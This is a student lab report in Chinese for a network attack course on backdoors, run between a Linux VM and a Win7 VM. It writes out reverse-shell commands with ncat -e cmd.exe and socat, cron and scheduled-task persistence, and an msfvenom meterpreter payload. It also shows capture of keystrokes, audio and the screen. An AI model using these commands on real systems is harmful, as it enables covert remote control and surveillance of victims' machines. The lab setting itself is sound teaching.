zoukankan      html  css  js  c++  java
  • 2017-2018-2 20155225《网络对抗技术》实验二 后门原理与实践

    2017-2018-2 20155225《网络对抗技术》实验二 后门原理与实践

    实验内容

    1、使用netcat获取主机操作Shell,cron启动

    linux作为攻击方,window7作靶机。

    1. ping通

    我使用的NAT连接,在查询IP地址时遇到问题,解决方法见“遇到的问题1”

    win7IP地址如下:
    image
    linuxIP地址如下:
    image
    linux ping win7:
    image
    win7 ping linux:
    image

    1. 攻击方打开8888端口,开始监听。
    nc -l -p 8888 //-l:设置监听模式,-p:端口
    
    1. 靶机运行nc,绑定shell,主动连接攻击方。
    ncat.exe -e cmd.exe 192.168.226.129 8888 //-e filename:连接后执行该文件。
    
    1. linux成功获得win7 shell
      image

    2. cron启动

    cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。

    win7开启监听,将linux反向连接的指令写入crontab中即可。
    crontab指令写法:

    基本格式 : 
    
    *  *  *  *  *  command 
    
    分 时 日 月 周 命令 
    
    第1列表示分钟1~59 每分钟用*或者 */1表示 
    
    第2列表示小时1~23(0表示0点) 
    
    第3列表示日期1~31 
    
    第4列表示月份1~12 
    
    第5列标识号星期0~6(0表示星期天) 
    
    第6列要运行的命令 
    
    使用命令crontab –l 可以显示出当前用户cron服务的详细内容。
    
    使用命令crontab –e 可以打开默认的编辑当前用户cron服务的编辑器
    

    使用crontab -l编辑crontab文件,在最后加上时间和我们想要执行的命令,保存退出。到了规定时间,系统会自动执行我们设置的指令。操作如下:

    image

    结果如下:

    image

    2、使用socat获取主机操作Shell, 任务计划启动

    socat是超级netcat工具,socat直接就可以用的程序。我们只需要在windows下新建一个任务来执行socat程序即可。

    windows开启8888端口作为监听方,并绑定cmd.exe.在添加参数一栏填写命令参数

    tcp-listen:8888 exec:cmd.exe,pty,stderr
    

    image

    linux作为攻击端去主动去连接windows:

    socat - tcp:192.168.226.130:8888 //这个命令等同于nc 192.168.226.130 8888
    

    触发该程序之后,linux立刻获取到windows的shell,如图所示。注意,并不是监听端一定是攻击方,反弹连接的也不一定就是靶机。在双方的连接过程中,谁绑定了shell,谁就暴露了shell,就会被对方获得。

    image

    3、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    1. 生成后门程序,使用这条命令直接生成一个后门程序(river.exe)
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.130 LPORT=8888 -f exe > river.exe
    
    1. 手动将后门程序river.exe拷到win7
    2. 在linux上使用msfconsole指令进入msf控制台,开启监听模块,设置payload,设置反弹回连的IP和端口:192.168.226.130,8888,具体命令如下图:

    (msf超级可爱ヾ(❀ ^ ω^)ノ゙!每次进入msf都会给我不同的界面!)

    image

    1. river.exe一旦运行,win7就被linux控制了,哈哈哈哈。

    image

    4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    meterpreter都有哪些功能呢?可用help查看。最有趣的当然是摄像头命令了。

    image

    成功截获一段音频,摄像录像功能因为我的win7虚拟机没有摄像驱动,所以没有成功。

    image

    成功抓屏:

    image

    成功获得win7击键记录:

    image

    加分项目:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(内容见我又写的另一篇博客使用MSF生成shellcode

    遇到的问题

    1、NAT模式下,虚拟机无法自动获取IP地址

    解决方法:在任务管理器里,手动开启Vmware DHCP 和 VMware NAT service这两个服务,如图所示。参考博客

    image

    2、cmd命令,如何进入某文件夹,如何查看当前目录下文件,进入D盘

    cd.. 返回上一级目录

    dir 查看该目录下的所有文件

    d: 进入D盘

    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    下载软件的时候,包装在好软件外表下!再不敢在网上下乱七八糟的软件了。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    绑定在一个指令里,你运行就中招了。

    (3)Meterpreter有哪些给你映像深刻的功能?

    摄像头,有意思。

    (4)如何发现自己有系统有没有被安装后门?

    用杀软去杀啊……我也只有这一个办法。

    实验总结与体会

    做完整个实验,我就想说一句话“工欲善其事必先利其器”,有msf这么牛逼的工具可以用,简直事半功倍啊!!不会写shellcode也没关系,msfvenom来帮你搞定。

  • 相关阅读:
    Ansible批量更新远程主机用户密码
    国外程序员推荐:每个程序员都应该读的非编程书
    FindFriendsServer服务搭建
    Android JNI HelloWorld实现
    2014年4月读书单
    jQuery 之父:每天写代码
    QT210 Android4.0源码编译和烧录文档整理
    Android系统分区理解及分区目录细解
    Android组件Spinner使用
    使用事件驱动模型实现高效稳定的网络服务器程序
  • 原文地址:https://www.cnblogs.com/clever-universe/p/8665711.html
Copyright © 2011-2022 走看看